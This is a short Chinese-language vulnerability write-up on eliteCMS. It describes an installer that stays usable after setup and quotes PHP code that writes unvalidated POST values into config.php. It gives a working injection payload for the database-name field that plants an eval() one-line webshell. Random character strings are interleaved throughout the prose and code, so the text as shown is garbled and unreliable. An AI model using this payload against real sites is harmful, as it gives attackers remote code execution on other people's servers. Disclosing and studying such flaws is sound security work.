eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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# k, J/ i8 N" m+ [/ `6 G另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
8 d: A  u% P" ^" i! y) C' u8 i我们来看代码：
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elseif ($_GET['step'] == "4") {
6 Q. o; F6 U! |' y+ F% a  G    $file = "../admin/includes/config.php";
3 E9 H2 T2 z& q9 M8 w0 r    $write = "<?php\n";
6 v; p$ Z+ G5 q8 `- Q/ ~2 E# j    $write .= "/**\n";
    $write .= "*\n";
7 `. R" i: `0 g6 w    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
* U, M3 o1 b3 v3 {    $write .= "*/\n";
    $write .= "\n";
, F4 J2 q: p: U1 s% M$ N* Q, v7 E    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
( a1 B/ `0 u. m' l7 b2 t( {9 `    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
9 x5 q+ s  U8 y    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
0 a# p# \3 ^! ?    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
7 i/ N- M- P0 w: ]    $write .= "        \n";
5 w+ J9 H, `9 `    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
1 ^: \/ O8 S& J3 }    $write .= "if (!\$db_select) {\n";
2 E' ?) [3 t4 Z+ a' T$ Z+ ^  I    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
9 a4 p) ?) m) C8 z% I7 V/ J    $write .= "} \n";
4 Q* l' t7 L# A7 Z: Z. ^2 G  w    $write .= "?>\n";

    $writer = fopen($file, 'w');
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: T) y9 p$ h# Z& e4 V在看代码：
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7 [5 j- x; x6 A+ x0 w$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
- s4 Y" W; b( U6 b0 ]: F: q; U* a$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
" H) C3 h( \5 n9 u2 B( w: i$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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1 b+ p& D+ C. I! ~! n3 w8 Q/ _取值未作任何验证
& N# P: i3 W* J7 a, K如果将数据库名POST数据：

$ P0 T# l. i, h" ]% }"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php